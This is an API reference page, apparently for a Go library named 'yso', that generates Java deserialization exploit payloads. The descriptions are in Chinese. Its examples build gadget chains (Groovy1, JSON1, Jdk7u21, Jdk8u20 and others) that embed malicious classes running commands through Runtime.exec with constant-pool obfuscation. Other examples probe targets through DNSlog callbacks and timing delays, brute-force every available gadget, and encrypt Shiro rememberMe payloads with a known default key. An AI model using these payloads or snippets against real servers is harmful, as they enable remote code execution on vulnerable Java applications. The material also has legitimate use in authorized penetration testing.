GetFindClassByBombJavaObject 目标存在指定的 ClassName 时,将会耗部分服务器性能达到间接延时的目的 使用预定义的FindClassByBomb序列化模板，然后在序列化对象中替换预设的ClassName占位符为提供的ClassName字符串。 className：要批判的目标服务器是否存在的Class Name值。 返回：成功时返回构造好的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` javaObject, _ = yso.GetFindClassByBombJavaObject("java.lang.String") // 检测目标服务器是否存在 java.lang.String 类 gadgetBytes,_ = yso.ToBytes(javaObject) 使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器,通过响应时间判断目标服务器是否存在 java.lang.String 类 ```

func GetFindGadgetByDNSJavaObject 

func GetFindGadgetByDNSJavaObject(url string) (*JavaObject, error)

GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name，进而探测 Gadget。 使用预定义的FindGadgetByDNS序列化模板，然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url：要在生成的Java对象中设置的URL字符串。 返回：成功时返回构造好的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` url, token, _ = risk.NewDNSLogDomain() javaObject, _ = yso.GetFindGadgetByDNSJavaObject(url) gadgetBytes,_ = yso.ToBytes(javaObject) 使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器 res,err = risk.CheckDNSLogByToken(token) 

if err {
  //dnslog查询失败
} else {
  if len(res) > 0{
   // dnslog查询成功
  }
}

```

func GetGroovy1JavaObject 

func GetGroovy1JavaObject(cmd string) (*JavaObject, error)

GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetGroovy1JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetJBossInterceptors1JavaObject 

func GetJBossInterceptors1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetJBossInterceptors1JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetJSON1JavaObject 

func GetJSON1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetJSON1JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetJavaObjectFromBytes 

func GetJavaObjectFromBytes(byt []byte) (*JavaObject, error)

GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。 此函数使用ParseJavaSerialized方法来解析提供的字节序列， 并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空， 函数将返回错误。如果解析成功，它将返回解析出的第一个Java对象。 byt：要解析的字节数组。 返回：成功时返回第一个Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` raw := "rO0..." // base64 Java serialized object bytes = codec.DecodeBase64(raw)~ // base64解码 javaObject, err := yso.GetJavaObjectFromBytes(bytes) // 从字节中解析Java对象 ```

func GetJavassistWeld1JavaObject 

func GetJavassistWeld1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetJavassistWeld1JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetJdk7u21JavaObject 

func GetJdk7u21JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetJdk7u21JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetJdk8u20JavaObject 

func GetJdk8u20JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetJdk8u20JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetSimplePrincipalCollectionJavaObject 

func GetSimplePrincipalCollectionJavaObject() (*JavaObject, error)

GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。 主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。 使用一个空的 SimplePrincipalCollection作为 payload，序列化后使用待检测的秘钥进行加密并发送，秘钥正确和错误的响应表现是不一样的，可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。 Example: ``` javaObject, _ = yso.GetSimplePrincipalCollectionJavaObject() classBytes,_ = yso.ToBytes(javaObject) data = codec.PKCS5Padding(classBytes, 16) keyDecoded,err = codec.DecodeBase64("kPH+bIxk5D2deZiIxcaaaA==") iv = []byte(ramdstr(16)) cipherText ,_ = codec.AESCBCEncrypt(keyDecoded, data, iv) payload = codec.EncodeBase64(append(iv, cipherText...)) 发送 payload ```

func GetURLDNSJavaObject 

func GetURLDNSJavaObject(url string) (*JavaObject, error)

GetURLDNSJavaObject 利用Java URL类的特性，生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。 这个函数首先使用预定义的URLDNS序列化模板，然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url：要在生成的Java对象中设置的URL字符串。 返回：成功时返回构造好的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` url, token, _ = risk.NewDNSLogDomain() javaObject, _ = yso.GetURLDNSJavaObject(url) gadgetBytes,_ = yso.ToBytes(javaObject) 使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器 res,err = risk.CheckDNSLogByToken(token) 

if err {
  //dnslog查询失败
} else {
  if len(res) > 0{
   // dnslog查询成功
  }
}

```

func (*JavaObject) Verbose 

func (a *JavaObject) Verbose() *GadgetInfo

type JavaStruct 

type JavaStruct struct {
	Name        string
	Value       interface{}
	IsBytes     bool
	ClassName   string
	Type        byte
	TypeVerbose string
	Fields      []*JavaStruct
	BlockData   []*JavaStruct
}

func WalkJavaSerializableObject 

func WalkJavaSerializableObject(objSer yserx.JavaSerializable, handle WalkJavaSerializableObjectHandle) *JavaStruct

type MarshalOptionFun added in v1.3.2 

type MarshalOptionFun func(ctx *yserx.MarshalContext)

func SetToBytesDirtyDataLength added in v1.3.2 

func SetToBytesDirtyDataLength(length int) MarshalOptionFun

func SetToBytesJRMPMarshaler added in v1.3.2 

func SetToBytesJRMPMarshaler() MarshalOptionFun

func SetToBytesJRMPMarshalerWithCodeBase added in v1.3.2 

func SetToBytesJRMPMarshalerWithCodeBase(cb string) MarshalOptionFun

func SetToBytesThreeBytesString added in v1.3.2 

func SetToBytesThreeBytesString() MarshalOptionFun

func SetToBytesTwoBytesString added in v1.3.2 

func SetToBytesTwoBytesString() MarshalOptionFun

type ParamConfig added in v1.3.2 

type ParamConfig struct {
	Name                           ClassParamType
	NameZh                         string
	Desc                           string
	DefaultValue, TestDefaultValue string
	Type                           string
}

type ReflectChainFunctionConfig added in v1.3.2 

type ReflectChainFunctionConfig struct {
	Name string
	Desc string
	Args []*ParamConfig
}

type RuntimeExecGadget 

type RuntimeExecGadget func(cmd string) (*JavaObject, error)

func GetAllRuntimeExecGadget 

func GetAllRuntimeExecGadget() []RuntimeExecGadget

GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget，可用于爆破 gadget Example: ``` 

command := "whoami" // 假设的命令字符串
for _, gadget := range yso.GetAllRuntimeExecGadget() {
	javaObj, err := gadget(command)
	if javaObj == nil || err != nil {
		continue
	}
	objBytes, err := yso.ToBytes(javaObj)
	if err != nil {
		continue
	}
	// 发送 objBytes
}

```

type Temper 

type Temper func(cmd string) string

type TemplatesGadget 

type TemplatesGadget func(options ...GenClassOptionFun) (*JavaObject, error)

func GetAllTemplatesGadget 

func GetAllTemplatesGadget() []TemplatesGadget

GetAllTemplatesGadget 获取所有支持模板的Gadget，可用于爆破 gadget Example: ``` 

for _, gadget := range yso.GetAllTemplatesGadget() {
	domain := "xxx.dnslog" // dnslog 地址
	javaObj, err := gadget(yso.useDNSLogEvilClass(domain))
	if javaObj == nil || err != nil {
		continue
	}
	objBytes, err := yso.ToBytes(javaObj)
	if err != nil {
		continue
	}
	// 发送 objBytes
}

```

type WalkJavaSerializableObjectHandle 

type WalkJavaSerializableObjectHandle func(desc *yserx.JavaClassDesc, objSer yserx.JavaSerializable, replace func(newSer yserx.JavaSerializable))

type YsoConfig added in v1.3.2 

type YsoConfig struct {
	Classes              map[ClassType]*ClassConfig
	Gadgets              map[GadgetType]*GadgetConfig
	ReflectChainFunction map[string]*ReflectChainFunctionConfig
}
var YsoConfigInstance *YsoConfig

Source Files

View all Source files

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
go.dev uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more.